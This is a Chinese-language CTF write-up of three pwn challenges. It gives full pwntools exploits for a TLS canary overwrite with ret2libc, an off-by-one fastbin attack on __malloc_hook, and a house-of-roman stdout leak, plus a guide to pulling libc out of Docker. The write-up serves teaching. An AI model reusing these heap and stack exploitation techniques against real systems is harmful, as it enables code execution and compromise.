可惜来的有点晚了,比赛已经结束了
GUARD-THE-BYPASS Guard this cookie.
Note: If you successfully create a working exploit in the provided Docker, ensure you try the exploit multiple times on the remote system if any issues arise.
多线程canary,会创建一个tls存canary,gdb可以直接看到tls的位置,算个偏移再加0x20就行,注意填充的时候要填有效地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 from pwn import *from struct import packfrom ctypes import *io = process("./guard" ) context(os="linux" , arch="amd64" ) elf = ELF('./guard' ) lg_infos = [] lga = lambda data: lg_infos.append(data) s = lambda data: io.send(data) sl = lambda data: io.sendline(data) sa = lambda text, data: io.sendafter(text, data) sla = lambda text, data: io.sendlineafter(text, data) r = lambda n: io.recv(n) ru = lambda text: io.recvuntil(text) rl = lambda : io.recvline() uu32 = lambda : u32(io.recvuntil(b"\xf7" )[-4 :].ljust(4 , b'\x00' )) uu64 = lambda : u64(io.recvuntil(b"\x7f" )[-6 :].ljust(8 , b"\x00" )) iuu32 = lambda : int (io.recv(10 ), 16 ) iuu64 = lambda : int (io.recv(6 ), 16 ) uheap = lambda : u64(io.recv(6 ).ljust(8 , b'\x00' )) lg = lambda data: io.success('%s -> 0x%x' % (data, eval (str (data)))) ia = lambda : io.interactive() def log_all (): for lg_info in lg_infos: lg(lg_info) def get_sb (): return libc_base + libc.sym['system' ], libc_base + next (libc.search(b'/bin/sh\x00' )) def get_IO_str_jumps (): IO_file_jumps_offset = libc.sym['_IO_file_jumps' ] IO_str_underflow_offset = libc.sym['_IO_str_underflow' ] for ref_offset in libc.search(p64(IO_str_underflow_offset)): possible_IO_str_jumps_offset = ref_offset - 0x20 if possible_IO_str_jumps_offset > IO_file_jumps_offset: print (possible_IO_str_jumps_offset) return possible_IO_str_jumps_offset rop = ROP(elf) bss = elf.bss() offset = 0x828 + 0x20 canary = b'abababab' pop_rdi = 0x401256 pl = b"a" * 0x28 + canary + b"a" * 8 + p64(pop_rdi) + p64(elf.got['puts' ]) + p64(elf.plt['puts' ]) + p64(elf.sym['game' ]) pl = pl.ljust(offset, p64(bss)) + canary sla(b"Welcome! Press 1 to start the chall.\n" , b"1" ) len_pl = len (pl) lga("len_pl" ) gdb.attach(io, 'b *0x401438' ) sla(b"Select the len: " , str (len_pl).encode()) sl(pl) puts = uu64() lga("puts" ) libc = ELF("./libc.so.6" ) libc_base = puts - libc.sym["puts" ] lga("libc_base" ) system = libc_base + libc.sym['system' ] binsh = libc_base + next (libc.search(b"/bin/sh\x00" )) pause() pl = b"a" * 0x28 + canary + b"a" * 8 + p64(rop.rdi.address) + p64(binsh) + p64(rop.ret.address) + p64(system) sl(pl) log_all() ia()
VSPM I got tired of remembering my passwords… Password managers are so useful!
1 2 3 4 5 6 7 8 checksec vspm [*] '/mnt/hgfs/Desktop-2/vspm' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled RUNPATH: b'.'
add:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 unsigned __int64 Save_password () { unsigned int v1; int i; __int64 v3; __int64 v4; __int64 v5; __int64 v6; __int64 v7; __int64 v8; __int64 v9; __int64 v10; __int64 v11; __int64 v12; unsigned __int64 v13; v13 = __readfsqword(0x28 u); for ( i = 0 ; i <= 9 && *(&heap_array + 5 * i); ++i ) ; if ( i == 10 ) { puts ("No more space to save passwords." ); exit (0 ); } printf ("\nSelect length: " ); v1 = 0 ; __isoc99_scanf("%d" , &v1); getchar(); if ( v1 >= 0x79 ) { puts ("Sorry, not enough resources!" ); exit (0 ); } v3 = 0LL ; v4 = 0LL ; v5 = 0LL ; v6 = 0LL ; v7 = 0LL ; v8 = 0LL ; v9 = 0LL ; v10 = 0LL ; v11 = 0LL ; v12 = 0LL ; *(&heap_array + 5 * i) = malloc (v1); printf ("Enter credentials: " ); read(0 , *(&heap_array + 5 * i), (v1 + 1 )); printf ("Name of the credentials: " ); read(0 , &heap_array + 40 * i + 8 , (v1 + 1 )); return __readfsqword(0x28 u) ^ v13; }
show:
1 2 3 4 5 6 7 8 9 10 11 12 13 int check_pass () { __int64 v0; int i; for ( i = 0 ; i <= 9 ; ++i ) { v0 = *(&heap_array + 5 * i); if ( v0 ) LODWORD(v0) = printf ("%d. %.*s --> %s" , i, 32 , &heap_array + 40 * i + 8 , *(&heap_array + 5 * i)); } return v0; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 unsigned __int64 Delete () { int v1; unsigned __int64 v2; v2 = __readfsqword(0x28 u); v1 = 0 ; printf ("Select index: " ); __isoc99_scanf("%d" , &v1); getchar(); if ( !*(&heap_array + 5 * v1) ) { puts ("You can't delete a non-existent password." ); exit (0 ); } free (*(&heap_array + 5 * v1)); *(&heap_array + 5 * v1) = 0LL ; memset (&heap_array + 40 * v1 + 8 , 0 , 0x20 uLL); return __readfsqword(0x28 u) ^ v2; }
2.30的堆 add有off_by_one,并且name这里有个很大的溢出 show只打印没free的堆的name和content delete会置零并清空堆内容,没有uaf
1 2 3 4 5 6 7 add(0x60 , b'aaa' , b'bbb' ) add(0x60 , b'ccc' , b'ddd' ) add(0x60 , b'eee' , b'ffffffff' ) delete(1 ) add(0x60 , b'ccc' , p64(0 ) * 4 + p64(0xdeadbeef )) gdb.attach(io, "x/16gx $rebase(0x4060)" )
如果我们在delete之后重新写name,就能覆盖heaparray存放堆地址的指针
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 0x55f9079e1060: 0x000055f907c33010 0x000000000a626262 0x55f9079e1070: 0x0000000000000000 0x0000000000000000 0x55f9079e1080: 0x0000000000000000 0x000055f907c33080 0x55f9079e1090: 0x000000000a646464 0x0000000000000000 0x55f9079e10a0: 0x0000000000000000 0x0000000000000000 0x55f9079e10b0: 0x000055f907c330f0 0x6666666666666666 0x55f9079e10c0: 0x000000000000000a 0x0000000000000000 0x55f9079e10d0: 0x0000000000000000 0x0000000000000000 # delete(1) + 利用name溢出 0x5619ef7e3060: 0x00005619f13aa010 0x000000000a626262 0x5619ef7e3070: 0x0000000000000000 0x0000000000000000 0x5619ef7e3080: 0x0000000000000000 0x00005619f13aa080 0x5619ef7e3090: 0x0000000000000000 0x0000000000000000 0x5619ef7e30a0: 0x0000000000000000 0x0000000000000000 0x5619ef7e30b0: 0x00000000deadbeef 0x666666666666660a 0x5619ef7e30c0: 0x000000000000000a 0x0000000000000000 0x5619ef7e30d0: 0x0000000000000000 0x0000000000000000
但是我们现在elf_base,bp,libc_base一个都不知道,所以需要想点办法泄露
这里我尝试了一下通过off_by_one修改下一个chunk的大小为unsortedbin大小然后再free
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 add(0x60 , b'a' * 0x30 + p64(0x91 ) * 2 , b'bbb' ) add(0x68 , b'ccc' , b'ddd' ) add(0x60 , b'ccc' , b'ddd' ) add(0x60 , p64(0x90 ) * 4 + p64(0x90 ) + p64(0x31 ), b'ffffffff' ) delete(1 ) choose(1 ) sla(b"\nSelect length: " , str (0x68 ).encode()) sa(b"Enter credentials: " , b'a' * 0x60 + p64(0 ) + b'\x91' ) sla(b"Name of the credentials: " , p64(0 ) * 3 ) gdb.attach(io, "x/16gx $rebase(0x4060)" ) delete(2 )
但是被检测出来了
1 2 [DEBUG] Received 0x22 bytes: b'double free or corruption (!prev)\n'
翻了一下源码
1 2 3 4 5 6 7 8 if (__glibc_unlikely (!prev_inuse(nextchunk))) malloc_printerr ("double free or corruption (!prev)" ); nextsize = chunksize(nextchunk); if (__builtin_expect (chunksize_nomask (nextchunk) <= 2 * SIZE_SZ, 0 ) || __builtin_expect (nextsize >= av->system_mem, 0 )) malloc_printerr ("free(): invalid next size (normal)" );
换成add(0x60, p64(0x91) * 4 + p64(0x90) + p64(0x31), b'ffffffff') # 3
解决了之后又来一个
1 2 [DEBUG] Received 0x1d bytes: b'corrupted size vs. prev_size\n'
1 2 3 4 unlink_chunk (mstate av, mchunkptr p) { if (chunksize (p) != prev_size (next_chunk (p))) malloc_printerr ("corrupted size vs. prev_size" );
尝试了一下发现只要将上面构造的prev_size从0x90改为0x80就能绕过(原来prev_size是size-0x10吗)
现在我们就有了unsortedbin,将其分配出来可以得到libc_base
接下来就简单了,计算一下malloc_hook,fastbin attack打malloc_hook即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 add(0x60 , b'a' * 0x30 + p64(0x91 ) * 2 , b'bbb' ) add(0x68 , b'ccc' , b'ddd' ) add(0x60 , b'ccc' , b'ddd' ) add(0x60 , p64(0x91 ) * 2 + p64(0x80 ) + p64(0x51 ), b'ffffffff' ) delete(1 ) choose(1 ) sla(b"\nSelect length: " , str (0x68 ).encode()) sa(b"Enter credentials: " , b'a' * 0x60 + p64(0 ) + b'\x91' ) sla(b"Name of the credentials: " , p64(0 ) * 3 ) delete(2 ) choose(1 ) sla(b"\nSelect length: " , str (0x60 ).encode()) sa(b"Enter credentials: " , b'a' * 7 + b'b' ) sla(b"Name of the credentials: " , b'666' ) show() ru(b'aaaaaaab' ) main_arena_224 = uu64() libc_base = main_arena_224 - 224 - libc.sym['main_arena' ] malloc_hook = libc_base + libc.sym['__malloc_hook' ] lga("libc_base" ) lga("malloc_hook" ) onegg = [0xc4dbf , 0xe1fa1 , 0xe1fad ] onegg = libc_base + onegg[1 ] add(0x10 , p64(malloc_hook - 0x23 ), p64(0xdeadbeef )) add(0x10 , b'hhh' , b'hhh' ) add(0x10 , b'iii' , b'iii' ) delete(4 ) delete(5 ) delete(3 ) add(0x10 , p64(malloc_hook - 0x23 ), p64(0xdeadbeef )) add(0x10 , p64(malloc_hook - 0x23 ), p64(0xdeadbeef )) add(0x10 , p64(malloc_hook - 0x23 ), p64(0xdeadbeef )) add(0x10 , b'a' + )
做到后面才发现0x90不太够,因为0x90-0x70=0x20,这个chunk只能写0x20不够覆盖malloc_hook-0x23到malloc_hook,
而且fastbin会检查size大小跟bins中对应大小是否相同,所以这个last remainder chunk应该大于等于0x60
下面是远程最终打通的payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 from pwn import *from struct import packfrom ctypes import *io = remote("challs.tfcctf.com" , 30661 ) context(os="linux" , arch="amd64" , log_level="debug" ) elf = ELF('./vspm' ) libc = ELF('./libc.so.6' ) lg_infos = [] lga = lambda data: lg_infos.append(data) s = lambda data: io.send(data) sl = lambda data: io.sendline(data) sa = lambda text, data: io.sendafter(text, data) sla = lambda text, data: io.sendlineafter(text, data) r = lambda n: io.recv(n) ru = lambda text: io.recvuntil(text) rl = lambda : io.recvline() uu32 = lambda : u32(io.recvuntil(b"\xf7" )[-4 :].ljust(4 , b'\x00' )) uu64 = lambda : u64(io.recvuntil(b"\x7f" )[-6 :].ljust(8 , b"\x00" )) iuu32 = lambda : int (io.recv(10 ), 16 ) iuu64 = lambda : int (io.recv(6 ), 16 ) uheap = lambda : u64(io.recv(6 ).ljust(8 , b'\x00' )) lg = lambda data: io.success('%s -> 0x%x' % (data, eval (str (data)))) def log_all (): for lg_info in lg_infos: lg(lg_info) def ia (): log_all() io.interactive() def get_sb (): return libc_base + libc.sym['system' ], libc_base + next (libc.search(b'/bin/sh\x00' )) def get_IO_str_jumps (): IO_file_jumps_offset = libc.sym['_IO_file_jumps' ] IO_str_underflow_offset = libc.sym['_IO_str_underflow' ] for ref_offset in libc.search(p64(IO_str_underflow_offset)): possible_IO_str_jumps_offset = ref_offset - 0x20 if possible_IO_str_jumps_offset > IO_file_jumps_offset: print (possible_IO_str_jumps_offset) return possible_IO_str_jumps_offset def choose (choice ): ru(b'Input: ' ) sl(str (choice).encode()) def add (length, content, name ): choose(1 ) sla(b"\nSelect length: " , str (length).encode()) sla(b"Enter credentials: " , content) sla(b"Name of the credentials: " , name) def show (): choose(2 ) def delete (ind ): choose(3 ) ru(b"Select index: " ) sl(str (ind).encode()) add(0x60 , b'a' * 0x30 + p64(0x91 ) * 2 , b'bbb' ) add(0x68 , b'ccc' , b'ddd' ) add(0x60 , b'ccc' , b'ddd' ) add(0x40 , b'ccc' , b'ddd' ) add(0x70 , p64(0 ) * 2 + p64(0xd0 ) + p64(0x61 ), b'ffffffff' ) delete(1 ) choose(1 ) sla(b"\nSelect length: " , str (0x68 ).encode()) sa(b"Enter credentials: " , b'a' * 0x60 + p64(0 ) + b'\xe1' ) sla(b"Name of the credentials: " , p64(0 ) * 3 ) delete(2 ) choose(1 ) sla(b"\nSelect length: " , str (0x60 ).encode()) sa(b"Enter credentials: " , b'a' * 7 + b'b' ) sla(b"Name of the credentials: " , b'666' ) show() ru(b'aaaaaaab' ) main_arena_304 = u64(ru(b'\x7f' ).ljust(8 , b'\x00' )) lg("main_arena_304" ) libc_base = main_arena_304 - 304 - libc.sym['main_arena' ] malloc_hook = libc_base + libc.sym['__malloc_hook' ] lga("libc_base" ) lga("malloc_hook" ) onegg = [0xc4dbf , 0xe1fa1 , 0xe1fad ] onegg = libc_base + onegg[1 ] lga("onegg" ) add(0x60 , p64(malloc_hook - 0x23 ), p64(0xdeadbeef )) add(0x60 , b'hhh' , b'hhh' ) add(0x60 , b'iii' , b'iii' ) delete(3 ) delete(6 ) delete(5 ) add(0x60 , p64(malloc_hook - 0x23 ), p64(0xdeadbeef )) add(0x60 , p64(malloc_hook - 0x23 ), p64(0xdeadbeef )) add(0x60 , p64(malloc_hook - 0x23 ), p64(0xdeadbeef )) add(0x60 , b'a' * 0x13 + p64(onegg), b'aaaa' ) choose(1 ) sla(b"\nSelect length: " , str (0x10 ).encode()) sl(b'cat flag' ) ia()
mcback2dabasics 环境准备 首先记录一下怎么通过dockerfile来确定libc版本(感谢队内两位web手的帮助)
1.更新包索引并安装必要的软件包以允许 apt
使用 HTTPS:
1 2 sudo apt update sudo apt install apt-transport-https ca-certificates curl software-properties-common
2.添加 Docker 官方 GPG 密钥:
1 curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg
报错:gpg: 找不到有效的 OpenPGP 数据”的解决方法:
在网上自己下一个gpg
1 2 wget https://download.docker.com/linux/ubuntu/gpg sudo apt-key add gpg
3.设置稳定版的 Docker 存储库:
1 echo "deb [arch=amd64 signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
4.更新 apt
包索引,并安装 Docker Engine:
1 2 sudo apt update sudo apt install docker-ce docker-ce-cli containerd.io
5.验证 Docker 是否安装成功,运行以下命令启动 Docker 服务并设置开机自启动:
1 2 sudo systemctl start docker sudo systemctl enable docker
6.确保您的用户帐户被添加到 docker
用户组中,以便无需 sudo
权限即可运行 Docker 命令。使用以下命令将当前用户添加到 docker
组中(但是我好多命令还是得sudo):
1 sudo usermod -aG docker $USER
7.退出当前终端会话并重新登录,以便组更改生效。
安装完成之后我们需要设置虚拟机代理,参考下面这篇文章
https://cloud.tencent.com/developer/article/1806455
确保主机启动代理,并且http/https端口已知,查看主机ip
web手亲测两个网卡都可以,我就用了170 c段的了
Dockerd 代理 1 2 sudo mkdir -p /etc/systemd/system/docker.service.d sudo touch /etc/systemd/system/docker.service.d/proxy.conf
1 2 3 4 [Service] Environment="HTTP_PROXY=http://proxy.example.com:8080/" Environment="HTTPS_PROXY=http://proxy.example.com:8080/" Environment="NO_PROXY=localhost,127.0.0.1,.example.com"
http://proxy.example.com
换成上图中主机ip地址,8080
换成主机http/https
代理端口(如果在虚拟机起代理则直接127.0.0.1
即可)
Container 代理 1 sudo vim ~/.docker/config.json
1 2 3 4 5 6 7 8 9 10 11 { "proxies": { "default": { "httpProxy": "http://proxy.example.com:8080", "httpsProxy": "http://proxy.example.com:8080", "noProxy": "localhost,127.0.0.1,.example.com" } } }
同理http://proxy.example.com:8080
换成自己的
1 2 sudo systemctl daemon-reload sudo systemctl restart docker
还不行可以重启一下
接下来就是利用docker查看libc版本
先根据Dockerfile的内容创建一个docker-compose.yml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 FROM ubuntu:17.04 RUN sed -i -re 's/([a-z]{2}\.)?archive.ubuntu.com|security.ubuntu.com/old-releases.ubuntu.com/g' /etc/apt/sources.list RUN apt update RUN apt install -y socat netcat net-tools gdb RUN useradd ctf WORKDIR /home/ctf COPY ./chall /home/ctf/ COPY ./flag.txt /home/ctf/ RUN chmod +x /home/ctf/chall EXPOSE 1337 USER ctfCMD socat TCP-LISTEN:1337,reuseaddr,fork EXEC:./chall,stderr
yml这部分可以让gpt代劳
1 2 3 4 5 6 7 8 9 10 version: '3' services: my_service: build: . ports: - "1337:1337" volumes: - ./chall:/home/ctf/chall - ./flag.txt:/home/ctf/flag.txt restart: always
然后用docker compose创建容器
通过docker ps查看CONTAINER ID
1 2 3 4 docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 4011d09e957b handout-my_service "/bin/sh -c 'socat T…" 22 seconds ago Up 20 seconds 0.0.0.0:1337->1337/tcp, :::1337->1337/tcp handout-my_service-1
然后
1 docker exec -it <CONTAINER ID> /bin/bash
就进来了,接着用docker cp将libc复制到本地
1 docker cp <CONTAINER ID>:<远程文件路径> <本地路径>
这里直接docker cp 4011d09e957b:/lib/x86_64-linux-gnu/libc.so.6 ./libc.so.6会报错,因为这个libc.so.6是符号链接文件,我们要查找其真实文件
在容器中查找符号链接指向的实际文件:
1 2 3 ls -l /lib/x86_64-linux-gnu/libc.so.6 lrwxrwxrwx 1 root root 12 Apr 9 2018 /lib/x86_64-linux-gnu/libc.so.6 -> libc-2.24.so
则运行:
1 docker cp 4011d09e957b:/lib/x86_64-linux-gnu/libc-2.24.so ./libc.so.6
即可
如果想要复制ld文件同理:
1 2 patchelf --set-interpreter /mnt/hgfs/Desktop-2/handout/ld-2.24.so /mnt/hgfs/Desktop-2/handout/chall patchelf --set-rpath /mnt/hgfs/Desktop-2/handout/ /mnt/hgfs/Desktop-2/handout/chall
patch一下就能直接本地打了
ida 1 2 3 4 5 6 7 checksec mcback2dabasics [*] '/mnt/hgfs/Desktop-2/mcback2dabasics' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 void __fastcall __noreturn main (int a1, char **a2, char **a3) { int v3; int i; unsigned __int64 v5; v5 = __readfsqword(0x28 u); setvbuf(stdin , 0LL , 2 , 0LL ); setvbuf(stdout , 0LL , 2 , 0LL ); setvbuf(stderr , 0LL , 2 , 0LL ); for ( i = 0 ; i <= 63 ; ++i ) qword_202060[i] = 0LL ; while ( 1 ) { while ( 1 ) { menu(); _isoc99_scanf("%d" , &v3); if ( v3 != 2 ) break ; Free(); } if ( v3 == 3 ) { puts ("Is that all you got? Bye!" ); exit (0 ); } if ( v3 == 1 ) Allocate(); else puts ("Invalid choice" ); } }
1 2 3 4 5 6 7 8 9 int menu () { puts ("-------Menu-------" ); puts ("1. Allocate memory" ); puts ("2. Free memory" ); puts ("3. Give up" ); puts ("------------------" ); return printf ("[+]> " ); }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 unsigned __int64 Allocate () { int v0; _DWORD nbytes[3 ]; unsigned __int64 v3; v3 = __readfsqword(0x28 u); if ( heap_count > 0x3F ) { puts ("No more memory available" ); exit (0 ); } puts ("How much?" ); printf ("[+]> " ); _isoc99_scanf("%d" , nbytes); if ( nbytes[0 ] > 0x70 u ) { puts ("Nope, too big" ); exit (0 ); } *&nbytes[1 ] = malloc ((nbytes[0 ] + 1 )); puts ("Data?" ); read(0 , *&nbytes[1 ], nbytes[0 ]); *(nbytes[0 ] + *&nbytes[1 ]) = 0 ; v0 = heap_count++; heap_array[v0] = *&nbytes[1 ]; puts ("Job done!" ); return __readfsqword(0x28 u) ^ v3; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 unsigned __int64 Free () { unsigned int v1; unsigned __int64 v2; v2 = __readfsqword(0x28 u); puts ("Which one?" ); printf ("[+]> " ); _isoc99_scanf("%d" , &v1); if ( v1 > 0x3F ) { puts ("Invalid index" ); exit (0 ); } free (heap_array[v1]); puts ("Job done!" ); return __readfsqword(0x28 u) ^ v2; }
nbytes[0]是size,nbytes[1]是heap指针 没有show,add的时候size不能超过0x70,并且malloc(size + 1),看着好像有off_by_null,实际上没有 free有uaf
很显然是一道house of roman
首先,我们要知道house of roman的精髓就是构造一个unsortedbin跟fastbin同时存在的情况,类似于下面这种:
1 2 3 4 5 pwndbg> bins fastbins 0x70: 0x5592e7f49070 —▸ 0x7f61989c1b58 (main_arena+88) ◂— 0x5592e7f49070 unsortedbin all: 0x5592e7f49070 —▸ 0x7f61989c1b58 (main_arena+88) ◂— 0x5592e7f49070
有uaf,所以我们可以利用fastbin_dup来完成fd低位的伪造,分配出一个\x20处的堆,构造堆重叠从而堆溢出
1 2 3 4 5 6 7 8 9 10 11 12 add(0x60 , p64(0 ) * 3 + p64(0x71 )) add(0x60 , p64(0 ) * 3 + p64(0x51 )) add(0x60 , p64(0 ) * 3 + p64(0x51 )) add(0x60 ) free(0 ) free(1 ) free(0 ) add(0x60 , b'\x20' ) add(0x60 , p64(0 ) * 3 + b'\x51' ) add(0x60 , b'\x20' ) add(0x60 )
这样我们通过反复free(7)并分配,就可以对chunk1
的size进行伪造,从而构造unsortedbin,由于fastbin入链时会将fd修改,所以要先让chunk1
进入fastbin,再修改size为0x90再free,从而构造unsortedbin跟fastbin同时存在的情况
1 2 3 4 free(1 ) free(7 ) add(0x60 , p64(0 ) * 9 + p64(0x91 )) free(1 )
这里要绕过几个检查,可以参考我上面的做法根据源码来解决,不做赘述
接下来就是喜闻乐见的house of roman环节,不清楚的可以看我之前的博客:https://yukon.icu/2024/07/26/io_stdout_libc/
1 2 3 4 5 6 7 8 9 10 11 12 free(7 ) add(0x60 , p64(0 ) * 9 + p64(0x71 ) + b'\xbd\x25' ) add(0x60 ) add(0x61 , b'a' * 0x33 + p64(0xfbad1800 ) + p64(0 ) * 3 + b'\x00' ) libc_base = uu64() - 0x3c2600 malloc_hook = libc_base + libc.sym['__malloc_hook' ] realloc_addr = libc_base + libc.sym['realloc' ] onegg = [0x45526 , 0x4557a , 0xf1651 , 0xf24cb ] onegg = libc_base + onegg[1 ] lga("libc_base" ) lga("malloc_hook" ) lga("onegg" )
这里我尝试了很久,发现可能是因为malloc的是size-1,所以在覆盖stdout那一步必须用0x61,不清楚原因
最后一个double free改malloc_hook即可
1 2 3 4 5 6 7 8 9 10 11 12 ru(b'Job done!' ) free(0 ) free(1 ) free(0 ) add(0x60 , p64(malloc_hook - 0x23 )) add(0x60 , p64(malloc_hook - 0x23 )) add(0x60 , p64(malloc_hook - 0x23 )) add(0x60 , b'a' * 0xb + p64(onegg) + p64(realloc_addr + 0x1 )) sla(b'> ' , b'1' ) sla(b"How much?" , str (0x20 ).encode()) sl(b'whoami' )
网站进不去了,本地通了就不管了